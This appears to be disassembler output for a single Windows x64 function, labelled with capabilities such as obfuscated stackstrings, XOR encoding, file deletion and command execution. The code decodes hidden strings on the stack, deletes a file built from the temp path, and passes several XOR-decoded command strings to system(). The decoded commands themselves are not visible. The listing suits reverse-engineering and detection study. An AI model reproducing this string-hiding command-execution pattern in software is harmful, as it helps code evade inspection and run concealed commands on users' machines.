Function at 0x7ff6051b4be0
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x7ff60566c600]
xor rax, rsp
mov qword [rbp + 0x210], rax
lea rdx, [rbp + 0x100]
mov ecx, 0x104
call qword [sym.imp.kernel32.dll_GetTempPathA]
movdqa xmm1, xmmword [0x7ff6056327b0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x7ff605632a10]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x7ff605632790]
movdqu xmmword [rsp + 0x50], xmm3
mov dl, 0x4e
mov r8b, 0x5b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor dl, cl
mov byte [rsp + 0x60], dl
xor r8b, cl
mov byte [rsp + 0x61], r8b
mov byte [rsp + 0x62], 0
movzx edx, byte [rsp + 0x78]
lea rcx, [rbp + 0xd8]
call fcn.7ff605163810
nop
lea rax, [rsp + 0x31]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff6051b4d70
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0xd8]
call fcn.7ff605163830
nop
mov byte [rsp + 0x68], 0x70
mov al, 0x36
mov cl, 0x19
mov dl, 8
mov r8b, 0x35
mov r9b, 2
movzx r10d, r9b
mov r11b, 0x1f
movzx edi, r9b
mov sil, 0x5e
mov r14b, 0x12
mov r15b, 0x11
mov r12b, 4
xor ebx, ebx
xor al, 0x70
mov byte [rsp + 0x69], al
xor cl, 0x70
mov byte [rsp + 0x6a], cl
xor dl, 0x70
mov byte [rsp + 0x6b], dl
xor r8b, 0x70
mov byte [rsp + 0x6c], r8b
xor r9b, 0x70
mov byte [rsp + 0x6d], r9b
xor r10b, 0x70
mov byte [rsp + 0x6e], r10b
xor r11b, 0x70
mov byte [rsp + 0x6f], r11b
xor dil, 0x70
mov byte [rsp + 0x70], dil
xor sil, 0x70
mov byte [rsp + 0x71], sil
xor r14b, 0x70
mov byte [rsp + 0x72], r14b
xor r15b, 0x70
mov byte [rsp + 0x73], r15b
xor r12b, 0x70
mov byte [rsp + 0x74], r12b
mov byte [rsp + 0x75], bl
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x98]
call fcn.7ff605161e20
nop
lea rcx, [rsp + 0x69]
nop dword [rax + rax]
inc r13
cmp byte [rcx + r13], bl
jne 0x7ff6051b4e40
mov r8, r13
lea rdx, [rsp + 0x69]
mov rcx, rax
call fcn.7ff605168c40
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.7ff605165770
nop
lea rcx, [rbp + 0x98]
call fcn.7ff605162330
lea rcx, [rbp + 0xb8]
call fcn.7ff605162390
mov rcx, rax
call qword [sym.imp.kernel32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x7ff6056325d0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x7ff6056326d0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x7ff605632ca0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x7ff605632b80]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x7ff605632bd0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x7ff605632ab0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x7ff605632710]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x7ff6056325a0]
movdqa xmmword [rbp - 0x10], xmm1
mov word [rbp], 0x7930
xor eax, eax
mov byte [rbp + 2], al
mov rcx, rbx
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
inc rcx
cmp rcx, 0x81
jb 0x7ff6051b4f00
mov byte [rbp + 2], 0
lea rcx, [rbp - 0x7f]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm0, xmmword [0x7ff605632340]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x7ff605632770]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x7ff6056327f0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x7ff605632a30]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x7ff605632860]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x7ff605632c50]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x7ff605632ba0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x7ff605632330]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x7ff605632440]
movdqa xmmword [rbp], xmm0
mov word [rbp + 0x10], 0x75
mov rcx, rbx
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7e], al
add rcx, 2
cmp rcx, 0x90
jb 0x7ff6051b4fa0
mov byte [rbp + 0x11], 0
lea rcx, [rbp - 0x7f]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm0, xmmword [0x7ff6056325d0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x7ff605632830]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x7ff605632780]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x7ff605632c30]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x7ff605632b30]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x7ff605632a70]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x7ff605632b10]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x7ff605632680]
movdqa xmmword [rbp - 0x10], xmm1
mov dword [rbp], 0x4d50485b
mov dword [rbp + 4], 0x7b303f5b
mov dword [rbp + 8], 0x303f2c3f
mov word [rbp + 0xc], 0x79
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7e], al
add rcx, 2
cmp rcx, 0x8c
jb 0x7ff6051b5060
mov byte [rbp + 0xd], 0
lea rcx, [rbp - 0x7f]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm0, xmmword [0x7ff6056328a0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x7ff605632410]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x7ff6056321a0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x7ff605632080]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x7ff605631de0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x7ff605631d30]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x7ff605631e20]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x7ff605632890]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x7ff6056328e0]
movdqa xmmword [rbp], xmm0
mov word [rbp + 0x10], 0x10
mov rcx, rbx
nop dword [rax]
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7e], al
add rcx, 2
cmp rcx, 0x90
jb 0x7ff6051b5110
mov byte [rbp + 0x11], 0
lea rcx, [rbp - 0x7f]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm1, xmmword [0x7ff605632050]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x7ff605632000]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x7ff605632040]
movdqu xmmword [rsp + 0x50], xmm3
mov dl, 0x18
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor dl, cl
mov byte [rsp + 0x60], dl
mov byte [rsp + 0x61], 0
lea rcx, [rsp + 0x31]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm0, xmmword [0x7ff605632400]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x7ff6056324a0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x7ff605632590]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x7ff6056322b0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x7ff605632390]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x7ff605632310]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x7ff605632420]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x7ff6056322a0]
movdqa xmmword [rbp - 0x10], xmm1
mov dword [rbp], 0x1f730873
mov dword [rbp + 4], 0x7c3232
nop
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rbx - 0x7f], al
movzx eax, byte [rbp - 0x80]
xor byte [rbp + rbx - 0x7e], al
add rbx, 2
cmp rbx, 0x86
jb 0x7ff6051b52d0
mov byte [rbp + 7], 0
lea rcx, [rbp - 0x7f]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm1, xmmword [0x7ff6056321b0]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x22
mov r8b, 0x39
mov r9b, 0x26
mov r10b, 0x76
mov r11b, 0x20
mov bl, 0x31
mov dil, 0x3d
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
xor bl, cl
mov byte [rsp + 0x45], bl
xor dil, cl
mov byte [rsp + 0x46], dil
mov byte [rsp + 0x47], 0
lea rcx, [rsp + 0x31]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm1, xmmword [0x7ff605632020]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x7ff605631d90]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, 0x12
mov r8b, 0xa
mov r9b, 0x5d
mov r10b, 0x16
mov r11b, 0xb
movzx ebx, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
mov byte [rsp + 0x56], 0
lea rcx, [rsp + 0x31]
call qword [sym.imp.ucrtbase.dll_system]
movdqa xmm1, xmmword [0x7ff605632180]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x7ff605631ee0]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, 6
mov r8b, 0x1b
mov r9b, 0x61
mov r10b, 0x2a
mov r11b, 0x37
movzx ebx, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
mov byte [rsp + 0x56], 0
lea rcx, [rsp + 0x31]
call qword [sym.imp.ucrtbase.dll_system]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x80]
call fcn.7ff6051c8a50
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx ebx, al
lea rcx, [rbp + 0x30]
call fcn.7ff605166d30
lea rcx, [rbp + 0x30]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
test bl, bl
je 0x7ff6051b560c
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xd8]
call fcn.7ff6051b4980
lea rcx, [rbp + 0xb8]
call fcn.7ff6051b4b10
nop
lea rcx, [rbp + 0xb8]
call fcn.7ff605162330
nop
lea rcx, [rbp + 0xd8]
call fcn.7ff605162330
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.7ff60542acb0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret